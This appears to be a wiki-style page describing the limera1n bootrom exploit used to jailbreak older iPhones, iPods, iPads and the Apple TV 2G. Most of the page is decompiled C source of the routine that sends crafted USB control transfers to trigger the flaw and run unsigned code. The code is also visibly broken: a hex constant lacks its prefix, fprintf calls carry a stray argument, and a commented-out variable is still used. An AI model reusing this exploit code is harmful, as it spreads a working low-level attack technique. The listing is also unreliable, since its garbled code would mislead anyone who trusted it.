Limera1n Exploit

The limera1n exploit is the bootrom exploit used to run unsigned code (and thereby jailbreak) the iPhone 3GS, iPod touch 3G, iPod touch 4G, iPad, iPhone 4 GSM, iPhone 4 CDMA, and the Apple TV 2G. It was first used in the limera1n tool by geohot. It is actively used on all the supported devices to perform a jailbreak on current versions of iOS, which is tethered unless there is another exploit available to "untether" the jailbreak, such as the 0x24000 Segment Overflow or the Packet Filter Kernel Exploit.

Source Code
signed int __cdecl upload_exploit { int device_type; signed int payload_address; int free_address; int deviceerror; char *chunk_headers_ptr; unsigned int sent_counter; //int v6; signed int result; //signed int v8; int recv_error_code; signed int payload_address2; signed int padding_size; char payload; char chunk_headers; //int v14; //v14 = *MK_FP(__GS__, 20); device_type = *(_DWORD *)(device + 16); if ( device_type == 8930 ) { padding_size = 0x2A800; payload_address = 0x8402B001; free_address = 0x8403BF9C; } else { payload_address = 0x84023001; padding_size = 0x22800; // free_address = (((device_type == 8920) – 1) & 0xFFFFFFF4) – 0x7BFCC05C; if(device_type == 8920) free_address = 0x84033FA4; else free_address = 84033F98; }    memset(&payload, 0, 0x800); memcpy(&payload, exploit, 0x230); if (libpois0n_debug) { //v8 = payload_address; fprintf(stderr, 1, "Resetting device counters\n"); //payload_address = v8; }    payload_address2 = payload_address; deviceerror = irecv_reset_counters(client); if ( deviceerror ) { irecv_strerror(deviceerror); fprintf(stderr, 1, &aCannotFindS[12]); result = -1; } else { memset(&chunk_headers, 0xCC, 0x800); chunk_headers_ptr = &chunk_headers; do { *(_DWORD *)chunk_headers_ptr = 1029; *((_DWORD *)chunk_headers_ptr + 1) = 257; *((_DWORD *)chunk_headers_ptr + 2) = payload_address2; *((_DWORD *)chunk_headers_ptr + 3) = free_address; chunk_headers_ptr += 64; } while ((int *)chunk_headers_ptr != &v14); if (libpois0n_debug) fprintf(stderr, 1, "Sending chunk headers\n"); sent_counter = 0; irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800); memset(&chunk_headers, 0xCC, 0x800); do { sent_counter += 0x800; irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800); } while (sent_counter < padding_size); if (libpois0n_debug) fprintf(stderr, 1, "Sending exploit payload\n"); irecv_control_transfer(client, 0x21, 1, 0, 0, &payload, 0x800); if (libpois0n_debug) fprintf(stderr, 1, "Sending fake data\n"); memset(&chunk_headers, 0xBB, 0x800); irecv_control_transfer(client, 0xA1, 1, 0, 0, &chunk_headers, 0x800); irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800); if (libpois0n_debug) fprintf(stderr, 1, "Executing exploit\n"); irecv_control_transfer(client, 0x21, 2, 0, 0, &chunk_headers, 0); irecv_reset(client); irecv_finish_transfer(client); if (libpois0n_debug) { fprintf(stderr, 1, "Exploit sent\n"); if (libpois0n_debug) fprintf(stderr, 1, "Reconnecting to device\n"); }        client = (void *)irecv_reconnect(client, 2); if (client) { result = 0; } else { if (libpois0n_debug) { recv_error_code = irecv_strerror(0); fprintf(stderr, 1, &aCannotFindS[12], recv_error_code); }            fprintf(stderr, 1, "Unable to reconnect\n"); result = -1; }    }     // compiler stack check //if (*MK_FP(__GS__, 20) != v14) //   __stack_chk_fail(v6, *MK_FP(__GS__, 20) ^ v14); return result; }